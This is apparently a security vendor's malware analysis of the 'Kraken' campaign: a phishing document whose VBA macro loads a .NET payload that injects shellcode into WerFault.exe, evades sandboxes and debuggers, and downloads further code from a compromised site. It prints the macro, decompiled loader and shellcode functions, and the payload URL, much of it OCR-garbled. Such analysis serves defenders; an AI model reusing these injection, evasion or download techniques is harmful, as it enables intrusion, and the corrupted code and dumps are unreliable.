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This blog post was authored by Hossein Jazi and Jéréme Segura.

On September 17th, we discovered a new attack called Kraken that injected its payload
into the Windows Error Reporting (WER) service as a defense evasion mechanism.

That reporting service, WerFault.exe, is usually invoked when an error related to the
operating system, Windows features, or applications happens. When victims see
WerFault.exe running on their machine, they probably assume that some error happened,
while in this case they have actually been targeted in an attack.

While this technique is not new, this campaign is likely the work of an APT group that had
earlier used a phishing attack enticing victims with a worker’s compensation claim. The
threat actors compromised a website to host its payload and then used the CactusTorch
framework to perform a fileless attack followed by several anti-analysis techniques.

At the time of writing, we could not make a clear attribution to who is behind this attack,
although some elements remind us of the Vietnamese APT32 group.

Malicious lure: ‘your right to compensation’

On September 17, we found a new attack starting from a zip file containing a malicious
document most likely distributed through spear phishing attacks.

The document “Compensation manual.doc” pretends to include information about
compensation rights for workers:
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Figure 1: Malicious Document

The file contains an image tag (“INCLDEPICTURE®) that connects to

“yourrighttocompensation[.Jcom” and downloads an image that will be the document
template.

INCLUDEPICTURE| https://yourrighttocompensation.com/ping|\* MERGEFORMAT M

00Z (X@3REf+>ttt2D1U91*AMa+>PVn2" ;d: 1IE\S6+>u2%2dmgalH " ; /+>ttt2 "W!=1*AJ4+>PVn2Du[ : 2BXn: +>PVn2J" ! iR3@Ka+>u/$11MF~0H" ; . +>ttt2DH=42BXq6+? (tS2E) a; L*AJ6+>u2%2D1U40H " 8b+?) "t2 " ;d: 1E\V7
+>u, #2_ZR52BXnd+?), "1, "h01¥AMO+?) 252E) abAKW  *+>beq2E2¢g<3?U7@+2? !dR1, 'h/AKWoC+>PVn2Du[935: +;+2 (£ts2  ;d: LE\V7+>u/$1, 'h03?U4k+? (ts2E2g; 2BXbb+>PVn2DH=41*AJ0+>PVn2dmgeARKWLi+>u/$2" ;d:
2BXb/+?) 3u2DH=52BXqe+>RIN1, 'h.2BXnd+>u/$2_1L71a"_4+>u) "1, 'h/1*AJ4+>tqs2J" | h2 ' =h5+>PVn2E2g; 2] sk0+>tqs2 " ;d: 2BXq=+>PVn2" ;d:0ds5%+?) 5u2_uRS1E\VT+2 (£s2';d:2]t"<+>u) "11_R0H 5.+>u/$
2% ;d:ARWp?+>PVn2Du[: 1*AM1+>PVn2" ;d: 1E\S6+>u2%2dmgalH ; /+2) 252_BR42]1t"<+2**O11MF*0H B3+>ttt2 " W!>32U7=+2 (ts2";d:2]t"<+2) "t2";d: 0d&5*+?) 5%2E2g; 2BXn: +>tttl, 'h02BXn4+>RFL1, 'h00dsD5
+?) , "2DH=52BXn0+>1, #2° ;d; @3@<Z+2%~02J"1i1a"\2+2 |dR11_R"0H'2,+?!dR2dmga0K 8.+2) 3u2_Z@O0H ;0+?);'2_1L72BXq7+?) $u2DH=500&5%+>u) "2 ;d: 2BXn; +>u, ¥11 R 0H 2,+2!dR2dmga0H " 86+2!dR2D1U9
2BXn;+>U, #1, 'h/2]t"6+>0) "2E) a: 1¥AJ4+>PUn2DQC60d&DS+>TTL11ME0H 83+2) ¥u2_cF10H 86+>U2%2 W!=1E\S8+>1/$2J" | h2]t%7+>FVn2DH=52BXn9+7) 251, 'h/3?U4>+2) ; ' 2DZI635: +<+21dR2E) a; 1¥A>++7) 3u
2E2g7ARW *+>dXP2_1L60d&D1+2? !dR2DH=00H";/+?)252J" ! 1@3@<2+?) "t2" ;d: AKWp?+>RFL1, 'h02BXnh+? (£52E2g<3?U7=+>u, 1, 'h/0d&RA0+>tagsl, 'h/1E\SB+>u) "2E2g; 2BXb/+>u5&2_1L732U (e+>PVn2 W!=AKWoc
+?) 252DH=52BXnh+>PVn2 " ;d; @3@Ha+2) $u2D1US0A&D5+?) $u2E) a60H 8/+>u) "2_Z@52BXbd+>PVnlcE [; 2BXn<+? ! dR2dmge3$ 1 +; +>PVN2DH=51*AM0+>PVn2J" 1h3§: . 1 +>u2%2_1L20H ;0+2) ; '2_1L72BXq7+?) 3u2DH=5
0d&5]+>PVn2E) a; 1*AMa+>u"u2E2g; 2BXb/+2) ) !2_1L732U07=+>u, #1, 'h/AKWoc+>RFL1, '"h/AKW01+2) 252Dc073% : +j+2%~01, 'h02BXné+>u, #2E2g<@3Q=:+>PVn2) -431*AJ0+2) 3u2_ zRO0H'85+2); '2 W!=AKWD?+2? (ts
2DQCS2'=e5+2) $u2D1U40H" ;_+2) 251, 'h/2BXqé+?) "t1, 'h/2BXq4+?) 3u2 W!>L1*AJ4+2) 262Du[91a"\9+2) sul, 'h/1E\VE+? |dR2DIUSL*AJ6+>1) "2J" | AAKW ~+>kns2E) a; 2BXnh+2*~01, "h00H " 8/+>tgs2_cF62BKge
+2) Su2DH=42]1t"<+?%~01, 'h0@3@Ka+>u/$2E2g; 2BXb/+?) $u2D1UBAKWLi+>RFL1, 'h/BKW ~+?) 2u2_uRB1E\V7+? (£s2";d:2]t"<+>u) "1, 'h/2BXnh+>u"u2" ; d; 1¥AJ0+>PVn2J" | 13?07=+>us | 2E2q; AKWp2+>FUn2_1L7
la"_4+>u/$11_R'0H'21+>u2%2Du[91E\V3+>tgs2_cF62BXn%+>u, #2_1L20H";.+>ttt2DH=42BRq6+>us ! 2E2¢;AKWLi+>PVn2E) a:35:+:+>u"u2" ;d: 2BXb/+>tgs2DQC50de5%+?) ) 1 2_1L732U7=+>u, #1, "h00H" 8/+>tgs
2Du[:1*¥AJ3+>u2%2J" |h2] skc+>PVn2E; m=1*AMO+>PVn2E;m<3§ : . 2+>u"u2E2g; 2] t"i4>u/$2_1L20H";_+2) %u2E)a:3§:+;+>PVn2_2@41¥AJ0+?) "t2";d; @30Ka+>tgs2E)a: 35: . g+>RLN1, 'h-2BXg6+?) "t1, 'h/2BXn5

"t23"1132079+>u, #1, 'h/2BXq6+?) "t1, 'h/2'=h9+>u, #2629; 2BXb/+>u582_1L73?U (2+2*"02DQC632U79+>u, #2E) a; 2BXg6+>RLNOOX

Figure 2: Imagetag embedded within the document
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@ yourrighttocompensation.com/ping

YourRight

ToCompensation

Since 2014, YourRightToCompensation informs, helps and assists employees in obtaining compensation

(termination, economic layoff, health crisis, accidents...) on a legal basis.

If you are a company and need our services to assist your employees, please contact us.

Ask for compensation, this is your right!

© 2020 YourRightToCompensation - All Rights Reserved

Figure 3: yourrighttocompensation website

This domain was registered on 2020-06-05 while the document creation time is 2020-
06-12, which likely indicates that they are part of the same attack.

Inside, we see a malicious macro that uses a modified version of CactusTorch VBA
module to execute its shellcode. CactusTorch is leveraging the DotNetToJscript technique
to load a .Net compiled binary into memory and execute it from vbscript.

The following figure shows the macro content used by this threat actor. It has both
AutoOpen and AutoClose functions. AutoOpen just shows an error message while
AutoClose is the function that performs the main activity.
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Function Run()
On Error Resume| Next

Dim s As String
= "0001000000FFFFFFFF010000000000000004010000002253797374656D2E44656C656761746553657269616C6%97RA6174696F6E486F6C646572030000000844656C65676174650774617267

"6761746553657269616C627A61T4696F6E4BE6F6C6465722F53797374656D2E5265666C656374696F6E2E4D656D626572496E666F53657269616C697A6174696F6E486F6C646572000:%
& ™B17373656D626C79067461726765741274617267657454797065417373656D626CT90ET46172676574547970654E616D650R6D6574686F644E616D650D64656C6567617465456E7472
& "M2E52656D6FT4696E672E4D6573736167696E672E48656164657248616E646C657206060000004B6D73636F726C69622C2056657273696F6E3D322E302E302E302C2043756C7475726¢
& "617465060R0000000D44736E616D6963496ET66F6B650A04030000002253797374656D2E44656C656761746553657269616C697TA6174696F6E486F6C646572030000000844656C6567
& "656D2E5265666C656374636F6E2E4D656D626572496E666F53657269616C69T7TR6174636F6E486F6C646572090B000000090C000000090D00000004040000002F53797374656D2E5265
& "7572650R4D656D626572547970651047656E65726963417267756D656E7473010101010003080D53797374656D2E547970655B5D0%0A0000000806000000090500000006110000002¢
& "68656D612E586DEC56616CT756547657474657206130000004D53797374656D2E586D6C2C2056657273696F6E3D322E302E302E302C2043756C747572653D6E65757472616C2C205078
& "6C790617000000044C6F61640A0F0C00000000F00100024D5490000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000¢
& ™00504500004C010300AB46E35E0000000000000000E00002210801080000C0010000200000000000001ED701000020000000E00100000040000020000000100000040000000000000¢
& ™0000000000000000000000000002000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080¢
&
&
&
&
&
&
&

=

"0000E001000010000000D00100000000000000000000000000400000402E72656C6F6300000C000000000002000010000000E00100000000000000000000000000400000420000000¢
"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000¢
"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000¢
"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000¢
"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000¢
"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000¢
"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000¢

[T R N B I T R I I ]
N T T T T T O O R R T
[CI T R R R E R T R R RN A )

5 & "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
"00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
s & "656D626C79204C6F616428427974655B5D29080000000R0B"
[ entry class = "Kraken.Kraken" |

Dim stm Ls Object, Imt &s Object, al As Object

Set stm = CreateCbject ("System.IO.MemoryStream")

If stm Is Nothing Then
manifest = "<?xml version=""1.0"" encoding=""UTF-16"" standalone=""yes""2><assembly xmlns=""urn:schemas-microsoft-com:asm.v1l"" manifestversio

manifest = manifest & "ialization.Formatters.Binary.BinaryFormatter"" threadingModel=""Both"" name=""System.Runtime.Serialization.Formatters.Binary.Bin
manifest = manifest & "llections.ArrayList™" runtimeVersion=""v2.0.50727"" /><clrClass clsid=""{8D907846-455E-39A7-BD31-BC9F81468347}"" progid=""System
manifest = manifest & "Security.Cryptography.FromBase&4Transform"" threadingModel=""Both"" name=""System.Security.Cryptography.FromBase&dTransform"™ ru
manifest = manifest & "ersion=""v2.0.50727"" /></assembly>"
Set ax = CreateObject ("Microsoft.Windows.ActCtx")
ax.ManifestText = manifest
L stm = ax CreateObject (" Ltem TO MemoryStream™)

I Set fmt = ax.CreateObject ("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter") |
Set al = ax.CreateCbject("System.Collections.ArrayList")

Else
Set fmt = CreateObject ("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter™) |
Set al = CreateObject ("System.Collections.ArrayList™)

End If

Dim dec

dec = decodeHex (s)

For Each i In dec
stm.WriteByte 1

Next i

stm.Position = 0

Dim n As Object, d As Object, o As Object

set d = fmt.Deserialize 2(stm)|

a1.20d Frot

Set o = d.DynamicInvoke (al.ToArray()) .Createlnstance (entry class) |

If Err.Number <> 0 Then

DebugPrint Err.Description
Err.Clear
End If
End Function

s
s

ny gnny

Sub ARutoClose ()
Run
End Sub

Sub RutoOpen ()
MsgBox "Error during decryption process"
End Sub

Figure 4: Macro

As you can see in Figure 4, a serialized object in hex format has been defined which
contains a .Net payload that is being loaded into memory. Then, the macro defined an
entry class with “Kraken.Kraken” as value. This value has two parts that have been
separated with a dot: the name of the .Net Loader and its target class name.

In the next step, it creates a serialization BinaryFormatter object and uses the deseralize
function of BinaryFormatter to deserialize the object. Finally, by calling DynamicInvoke
the .Net payload will be loaded and executed from memory.

Unlike CactusTorch VBA that specifies the target process to inject the payload into it
within the macro, this actor changed the macro and specified the target process within the

.Net payload.

Kraken Loader

The loaded payload is a .Net DLL with “Kraken.dll” as its internal name, compiled on
2020-06-12.
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This DLL is a loader that injects an embedded shellcode into WerFault.exe. To be clear,

this is not the first case of such a technique. It was observed before with the NetWire RAT
and even the Cerber ransomware.

The loader has two main classes: “Kraken” and “Loader*.

Assembly Explorer

-Reflection;

b a
b al
b a
b al
bl
b al
b P
b a
b al
b
40
I

Figure 5: Kraken.dll

The Kraken class contains the shellcode that will be injected into the target process
defined in this class as “WerFault.exe“. It only has one function that calls the Load
function of Loader class with shellcode and target process as parameters.
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System;
System.Runtime.InteropServices;

Kraken

[ComVisible( )]

Kraken

Kraken()
[1 shellcode =

232,

15,
111,

78,

16,

243,

15,

127,

7,

243,

15,

127,

"Not showing n becau his array is too big

targetProcess = "C:\ \syswowbd \WerFault.exe"
.Sink(targetProcess, shellcode);

Sink( targetProcess, [1 shellcode)

Loader loader = Loader();

loader.lLoad(targetProcess, shellcode);
(Exception ex)

("[x] Something went wrong!!" + ex.

Figure 6: Kraken class

The Loader class is responsible for injecting shellcode into the target process by making
Windows API calls.
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targetProcess, [] shellcede)

s);
Jshellcode. 1)

on("[x] Failed to crea

);

Figure 7: Load function
These are the steps it uses to perform its process injection:

e StartProcess function calls CreateProcess Windows API with 800000C as
dwCreateFlags.

» FindEntry calls ZwQueryInformationProcess to locate the base address of the
target process.

* CreateSection invokes the ZwCreateSection API to create a section within the target
process.

e ZwMapViewOfSection is called to bind the section to the target process in order to
copy the shellcode in by invoking CopyShellcode.

e MapAndStart finishes the process injection by calling WriteProcessMemory and
ResumeThread.

ShellCode Analysis

Using HollowHunter we dumped the shell code injected into WerFault.exe for further
analysis. This DLL performs its malicious activities in multiple threads to make its
analysis harder.

This DLL is executed by calling the “DIlEntryPoint” that invokes the “Main” function.
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/% WARNING: Function: _ SEH prolog4 replaced with injection: SEH prologd */
int _ cdecl Main(HINSTANCE  #*param_l,ulong param_2,vold *param_3)

{
int 1Varl;
undefinedd #*in FS OFFSET;
undefinedd local 14;

1f ({param_2 == 0) && (DAT_1001%e0 < 1)) {
iVarl = 0;
b
glse {
if (((param 2 != 1) && (param_2 != 2)) ||
({ivarl = FUN_10001ff2(param_1,param_2,param_3), iVarl != 0 &&
{ivarl = dllmain_crt_dispatch(param_1,param_2,param_3), ivarl != 0J))) {
iVarl = Dl1Main(param_1,param_2J);
if ((param_2 == 1) && (ivarl == 0)) {
D11Main (param_1,0);
FUN_10001e37((uint) (param_3 != (void *)Ox0));
FUN_10001ff2(paran_1,0,param_3);
b
if (({param_2 == 0) || (param_2 == 3)) &&
(ivarl = dllmain_crt_dispatch(param_1,param_2,param_3), ivarl != 0)) {
iVarl = FUN_1000Lff2(param_1,param_2,param_3);
b
1
b
*¥1n_FS OFFSET = local_14;
return iVarl;

}

Figure 8: Main Process

The main function calls DIIMain which creates a thread to perform its functions in a new
thread within the context of the same process.

undefined4 CO11Main{undefined4 param_l,int param_2)

{
HAMDLE pvVarl;

S w1030 3 D11Main #/
if (param_2 == 1) {
DAT 10013944 = param_1;
pu¥arl = CreateThread ((LPSECURITY_ATTRIBUTES)CxO, 0, FUN 10001010, (LPVOID)0x0, 0, (LPOWORD)OxO) ;
if (pvvarl !'= (HANDLE)Oxffffffff) {
Sleep (100);
I
1
return 1;

}

Figrue 9: DIl main

The created thread at first performs some anti-analysis checks to make sure it’s not
running in an analysis/sandbox environment or in a debugger.

It does this through the following actions:
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1) Checks existence of a debugger by calling GetTickCount:

GetTickCount is a timing function that is used to measure the time needed to execute
some instruction sets. In this thread, it is being called two times before and after a Sleep
instruction and then the difference is being calculated. If it is not equal to 2 the program

exits, as it identifies it is being debugged.

{

b

vold FUN 10001900 (vold)

DWORD 1dThread;
BOOL EVarl;

int ivVarz;

UINT Msog;

WPARAM wFaram;
LPARAM TParam;
tagMsSG local 28;
ODWORD local c;
SIZE T #local &

local_8 = &DAT_10019200;

1Param = Ox2a;
wParam = 0x17;
Msg = Oxd02;

1dThread = GetCurrentThreadId();
PostThreadMessageA(idThread, Msqg,

EVarl = PeekMessageA((LPMSG)&Loc

if (({{(Bvarl !=0) & (local_28,
[1ora]l 28 'IP';qr"am == (%2311 I

wParam, 1Param);
al 28, (HAND) Cxffffffff, 0, 0,0);

message == 0x402)) && (local 28 wParam == 0x17)) &&

local o = GetTickCount();
Sleep(0x28a);
idThread = GetTickCount();

if (((1dThread - Tlocal ¢} / 300 == 2) && (iVarZ = SandBoxDetection(), iVarZ == 0)) {

FON_L000L 2801 ) ;
FUM_100011f6();

FUN_L10001bE0((int) (Tocal_8 + 1), (int) (local_& + 1), *local_B);

FUN_10001890( (undefineds *) (local_B + 1),*local_8);

b
b

return;

2) VM detection:

In this function, it checks if it is running in VmWare or VirtualBox by extracting the

Figure 10: Created thread

provider name of the display driver registry key

(" SYSTEM\\ControlSetoo1\\Control\\Class\\{4D36E968-E325-11CE-BFC1-
08002BE10318}\\0000’) and then checking if it contains the strings VMware or Oracle.
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void SandBoxDetection(void)

{
int iVarl;

undefinedd local 120;
LSTATUS LStackz284;
DWORD local 118;

DWORD local 114;
LSTATUS LStack27Z;
HKEY local 10c;

BYTE aBStack264 [256] ;

uint local 8;

local_8 = DAT_1001965c ~ (uint)&stackoxfffffffo:

local_118 = 1;

local 120 = @;

local 114 o oel0on.

LStack272 = RegOpenKeyExA((HKEY ) 0xB0000002, s SYSTEM\ControlSetdol \ControlsCla 10619078, 0, 0x20019

(PHKEY)&local_loc);

if (LStackz27z == 0) {

LStack284 = RegQueryValueExA(local 10c,s Provideriame_100120cs, (LPOWORD)Ox0, &local 118,

aBStack264, &local 114);

RegClosekey (local_l0c);
L
if ((LStack224 == 0) &&

(ivarl = func_0x10002fcO(aBStack264, s VMware_100190d8, local_120), ivVarl == 0)) {

func_0x10002fcO(aBStack264,s_0Oracle_100190e0, local_120);
}
FUM_ 106001c9d () ;
return;

Figure 11: VM detection
3) IsProcessorFeaturePresent:

This API call has been used to determine whether the specified processor feature is
supported or not. As you see from the below picture, “ox17” has been passed to this API as
a parameter which means it checks ___fastfail support before proceeding with immediate
termination.
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| BEvarZz = IsProcessorFeaturePresent (0x17) ;]
it (Bvarz 1= 0) {
ncvarl = (code *)swi(0x29);
(¥pcvarld();
return;

1

_DAT 100198 =
(uint) (in_NT & 1) * 0x4000 | (uint){in IF & 1) * 0x200 | {uint){in TF & 1) * 0x100 |
{uint) (BVarz < 0) * 0x80 | (uint)(Bvar2 == 0) * 0x40 | (uint)(in_AF & 1) * 0x10 |
{utnt){in PF & 1) * 4 | {uint){in ID & 1) * Gx200000 | (uint){in VIF & 1) * O0x100000 |
fuint){in VIF & 1) * 0x80000 | (uint){in AC & 1) * Ox40000;

_DAT_10019ffc = &stackCx00000004;

DAT_10019f38 = 0x10001;
_DAT 1001 = OxcO000409;
_DAT 10019eec = 1;
DAT_10019ef8 = 1;

DAT_1001%efc = 2;

DAT 10019ef4 = local reso;
_DAT_10019fc4 = in_GS;
_DAT_10019fc8 = in_FS;
_DAT_10019fcc = 1n_ES;

_DAT 10019fd0 = in_DS;
_DAT_10019fd4 = unaff_EDI;
_DAT_10019fde = unaff_ESI;
_DAT_10019fdc = unaff_EBX;
DAT_10019fed = extraout EDX;
DAT_10019fed = extraout_ECK;
DAT_10019fed = BVarz;
_DAT_10019fec = local_4;

DAT 10019ff0 = local reso;
DAT_10019ff4 = in_CS;
_DAT 10013000 = in_5S;
FUN_10002040( {_EXCEPTION_POINTERS *)&FTR DAT 10012184);
return;

Figure 12: InProcessorFeaturePresent

4) NtGlobalFlag:

The shell code checks NtGlobalFlag in PEB structure to identify whether it is being
debugged or not. To identify the debugger it compares the NtGlobalFlag value with ox7o.

5) IsDebuggerPresent:

This checks for the presence of a debugger by calling “IsDebuggerPresent.
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void FUN 100011F0(void)

{
BOOL BVarl;

Lif ((*(uint *) (DAT 1001a93c + 0x68) & 0x70) 1= 0)]{
FUN_100045dS (0xTHifTiiT);
b
if (DAT 10012938 == 0) {
|Evarl = IsDebuggerPresent ()4
it (Bvarl T=10) o
FUN_100045d5 (0xffFEfffff);
¥
}
else {
it ((*(uint #)(DAT 10012938 + Oxbc) & Ox70) != 0) {
FUN_100045d5 (0xfFFfffff);
¥
}

return;

}

Figure 13: NtGlobalFlag and IsDebuggerPresent check

After performing all these anti-analysis checks, it goes into a function to create its final
shellcode in a new thread. The import calls used in this part are obfuscated and resolved
dynamically by invoking the “Resolve_Imports” function.

This function gets the address of “kernel32.dll” using LoadLibraryEx and then in a loop
retrieves 12 imports.

vold Resolve Imports(void)

{
HMODULE hModule;
FARPROC pFvarl;
uint local 10c;
int local 108 [84];
uint local 8;
local_8 = DAT_1001965c =~ (uint)&stackOxfffffffc;
hModule = LoadLibraryW(u_kernel32. d11_10019800) ;
local 10c = 0;

while (local 10c < Oxc) {
FUN 10002e60(Tocal 108,0,0x100)
Hash_tCalculation((int)&DAT 100190e8, 4, (int) (&FTR_DAT 100190ec) [local_10c], {int)local 108);

pFyarl = GetProcAddress (hModule, (LPCSTR)Local 108);
(EVirtualAlloc_exref)[local_l0c] = pFvarl;
if ((&virtualalloc_exref)[local 10c] == (code *)0x0) break;
local 1Gc = local _l0c + 1;

L

FUM 10001cSd () ;

return;

Figure 14: Resolve_Imports

Using the libpeconv library we are able to get the list of resolved API calls. Here is the list
of imports, and we can expect it is going to perform some process injection.
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VirtualAlloc
VirtualProtect
CreateThread
VirtualAllocEx
VirtualProtectEx
WriteProcessMemory
GetEnvironmentVariableW
CreateProcessW
CreateRemoteThread
GetThreadContext
SetThreadContext
ResumeThread

After resolving the required API calls it creates a memory region using VirtualAlloc and
then calls “DecryptContent_ And_ WriteToAllocatedMemory” to decrypt the content of

the final shell code and write them into created memory.

In the next step, VirtualProtect is called to change the protection to the allocated memory
to make it executable. Finally, CreateThread has been called to execute the final shellcode

in a new thread.

{

vold _cdecl FUN_10001890(undefined8 *param_1,SIZE_T param_2)

int iVarl;
DWORD local c;
undefineds *local 8;

iVarl = Resolve Imports();
if {ivarl !=0) {
local 8 = {undefined® *)Virtualalloc((LPVOID)Ox0, param_2,0x3000, 4);
DecryptContent_aAnd WriteToAllocatedMemory (local 2,param_1,param_2);
VirtualProtect(local 5, param_2,0x20,&local c);
CreateThread( (LPSECURITY ATTRIBUTES)Ox0,0,FUN 10001870, local &, 0, (LPOWORD)Gx0] ;
b

return;

Figure 15: Resolve Imports and Create new thread

Final Shell code

The final shellcode is a set of instructions that make an HTTP request to a hard-coded
domain to download a malicious payload and inject it into a process.

As first step it loads the Wininet API by calling LoadLibraryA:
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[} Motes #® Breakpoints ® Memory Map [} Ccall Stack ‘=% SEH L] Script &) symbols <> Source 2~ References S Threads +/ Snowman & Handles [

»| 03 7D F8 add edi,dword ptr ss:|[ebp-8]
] 38 7D 24 cmp edi,dword ptr ss:[ebp+24]
- ~ 75 E2 jne 1290044
L] 58 pop eax
»| BB 58 24 mov ebx,dword ptr ds:[eax+24]
] 01 D3 add ebx,edx
»| 66 8B OC 4B mov cx,word ptr ds:[ebx+ecx”2]
] 8B 58 1C mov ebx,dword ptr ds:[eax+1C]
»| 01 b3 add ebx,edx
] 8B 04 BB mov eax,dword ptr ds:[ebx+ecx*4]
L] 01 DO add eax,edx
] 89 44 24 24 mov dword ptr ss:[lesp+24],eax eax:LoadLibrarya
[ ] 5B pop ebx
. 5B pop ebx
] 61 popal
L] 59 pop ecx
] 5A pop edx
[ 51 push ecx
—re « FF EO jmp. eax eax:LoadLibrarya
L] 58 pop eax
. sc nan adi
ibrarya=

p2 W Dump 3 W Dump 4 W Dump 5 & watch 1 7 struct SAE| OOEFF3AC “wininet
PEET - | 696E697
00 00 60 BO|E5 31 D2 64 8B 52|ue.... .Al0d. RO, PR
14 8B 72 28|OF B7 4A 26|31 FF R..T..FE,-JM" A
02 2 20 C1|CF OD 01 C7|E2 FO|-<al., A%..cCabRw
42 3C 01 DO|8B 40 78 85|CO 74|.R..B<. D, @x. ALI. e e I GETR 0

Figure 16: Loads Wininet

Then it builds the list of function calls that are required to make the HTTP request which
includes: InternetOpenA, InternetConnectA, InternetOpenRequestA and
InternetSetOptionsExA.

~ 73 F4 Jne 2060054
03 7D F8& add edi,dword ptr ss:|lebp-8]
36 7D 24 cmp edi,dword ptr ss:[ebp+24]

~ 73 E2 jne 2DE004A
58 Do _egx
8B 58 24 Llmov_ebx dword ptr ds:[eax+24] ebx:"/favicon32.ico”]
01 p3 al ebx, edx ebx: /Tavicon3Z.1co
66 8B 0C 4B mov cx,word ptr ds:[ebxtecx*2]
8B 58 1C mov ebx,dword ptr ds:[eax+1C] ebx:"/favicon32.ico”
01 b3 add ebx,edx ebx:"/favicon32.ico”
86 04 8B mov eax,dword ptr ds:[ebx+ecx*4]
01 DO add eax,edx
89 44 24 24 mov dword ptr ss:[lesp+24]],eax eax:HttpOpenRequestA
5B pop ebx ebx:"/favicon32.ico”
5B pop ebx ebx:"/favicon32.ico”
61 popal
59 pop ecx
5A pop edx
51 X

' ~ FF EO r1mp eax eax :HttpopenReguesth | .

Figure 17: HttpOpenRequestA

After preparing the requirements for building HTTP request, it creates a HTTP request
and sends it by calling HttpSendrequestExA. The requested URL is: http://www.asia-
kotoba[.]net/favicon32.ico

58 pop eax . . A || Hide FPU
8B 58 24 mov ebx,dword ptr ds:[eax+24] ebx:"Accept: */*\r\nAccept-Language: en-us\rnconnection: close\r\nuser-agent
01 D3 add ebx,edx ebx:"Accept: */*\r\nAccept-Language: en-US\r\nConnection: close\r\nUser-Agent EAX  74036FF0 <wininet.Hrtpsendrequesta
66 8B 0C 4B mov cx,word ptr ds:[ebx+ecx*2] EEX 0129018 "AccCept: */*\r\nAccept-La
8B 58 1C mov ebx,dword ptr ds:[eax+ic] ebx:"Accept: */*\r\nAccept-Language: en-us\r\nconnection: close\r\nuser-agent ECX 01290116
01 D3 add ebx,edx ebx:"Accept: */*\r\nAccept-Language: en-us\r\nconnection: close\r\nuser-aAgent EDX 78180620
8B 04 8B mov eax,dword ptr ds:[ebx+ecx 4] EBP 01290006
01 DO add eax,edx e oeirsee
89 44 24 24 mov dword ptr ss:flesp+24]],eax eax:HttpsendrRequesTA
58 pop ebx ebx:"accept: */*\r\naccept-Language: en-us\rinconnection: close\r\nuser-agent | ESI ~ 00€C000C
SE pop ebx ebx:"ACCEpT: */*\r\nAccept-Language: en-us\rinconnection: close\r\nuser-agent [ EDI ~ 00000000
61 opal
59 EDE ecx EIP 01290086
5A pop edx
51 push ecx EFLAGS 00000206
~ FF EO jmp eax eax:HrtpsendRequestA ZF O PF1 AF O
58 pop eax OF 0 SF O DF O
gi pop Eg‘ CFO TFO IF1
pop edx
8B 12 mov edx,dword ptr ds:[edx] v —
. ce A Smn 130001 S Default (stdcall) ~ |5 2][] unioc
i 000C
] 012901B8 "Accept: */*\ri\nAccept-Language: ¢
1_FFFFFFEF
—
o | EmpS | () wmma 2 swua o0 u:éégg]u.:ég Feturn to 01290116 from 277
[AscIT | |A” 00 1290168 "Accept: */#\r\nAccept-Language: en-US\r\nConmection: close\r
AATAR ARTE & wdatfoar u | O0EF! FEFFEFF

Figure 18: HttpSendRequestExA

In the next step, it checks if the HTTP request is successful or not. If the HTTP request is
not successful it calls ExitProcess to stop its process.
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Figure 19: Checking the http request success

If the return value of HTTPSendRequestExA is true, it means the request is successful and
the code proceeds to the next step. In this step it calls VirtualAllocExA to allocate a
memory region and then calls InternetReadFile to read the data and write it to the

allocated memory.

BTy & Fooss =

0100 add eax, edx |mblideaEol;
push = -

8848 18 mov ecx,dword ptr ds:[eax 18] -m—e"lmx ZEEasen  owloirer.Tncervetkeadrl]
8858 20 mov ebx,dword ptr ds:[eax+20]
0103 add ebx, edx (57 CEITTEIE
E3 3C jecxz FOOB8 E:’; 525?9512
3 dec ecx 000F000:
sez4ge mov esi,dword ptr ds:[ebx-ecx+4] ESP  OD26F1CC
0106 add esiedx ESI  00CCO0OC
31FF xor edi,edi DT 0026F1E0
31c0 Xor cax)eax
AC Todsb EIF  00OFO0SG
CicF 0o ror edi,D
01c7 add edieax T
HAED) japfaltahy ;:LQGSPF o AFZgZ

- 75 F4 ine FOOS4 oo MY
037D F8 add edi,dword ptr 55:[febp-.
387D 24 cmp edi,dword ptr ss:[febp+2. CF O TFO IF1

~ 75 E2 ine FODAA
s8 pop eax LastError 00000000 (ERROR_SUCCESS)
8858 24 mov ebx,dword ptr ds:[eax+24] LastStatus 80000006 (STATUS_NO_MORE_FILES)
0103 add ebx, edx
66:880C48 mov cx,word ptr ds:[ebxrecx 2] GS 002E FS 0053
8858 1C mov ebx,dword ptr ds:[eax+1ic] 2 0028 D= 0028
103 add ebx, edx C5 0023 55 0028
880488 mov cax,dword ptr ds:[ebx+ecx+4]
jo105) ackdfear sebe ST(0) 00000D0000000000000C XE7rC Emp
834424 24 mov dword ptr ss:lesprz4ll, eax [espr24]: "Accept: */*\rinAccept-Language: en-US\rinConnection: close\rinuser-agent: | T1(7 S0000000000000000000 xa7va B
= il 5T(z) 00000000O0O00D000000 XB7r2 Emg
e Fopes S5T(Z) 000000000000000000 XB7ri Emy
55 pop ecx 5T(4) 00000000O0O000O00000 XB7ré Emg
A pop_edx 5T(5) 0000D000ODO0000G00 XB7r5 Empt:
1 5T(E) 0000O000ODO0000DG00 XE7ré Empty
EE] 5T(7) 0000D0000D000000G00 XE7r7 Empty 0.

Figure 20: InternetReadFile call

At the end it jumps to the start of the allocated memory to execute it. This is highly likely
to be another shellcode that is hosted on the compromised “asia-kotoba.net” site and
planted as a fake favicon in there.

Since at the time of the report the target URL was down, we were not able to retrieve this
shellcode for further analysis.

The work of an APT, but which one?

We do not have enough evidence to attribute this attack. However, we have found some
loose connections to APT32 and are still investigating them:
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e APT32 is one of the actors that is known to use CactusTorch HTA to drop variants of
the Denis Rat. However, since we were not able to get the final payload we cannot
definitely attribute this attack to APT32.

e The domain used to host malicious archives and documents is registered in Ho chi
minh city, Vietnam. APT32 has used strategic web compromises to target victims
and is believed to be Vietnam-based.

Malwarebytes blocks access to the compromised site hosting the payload:

c [Compatibility Mode] - Word

Design Layout References Mailings Rewiew Vi

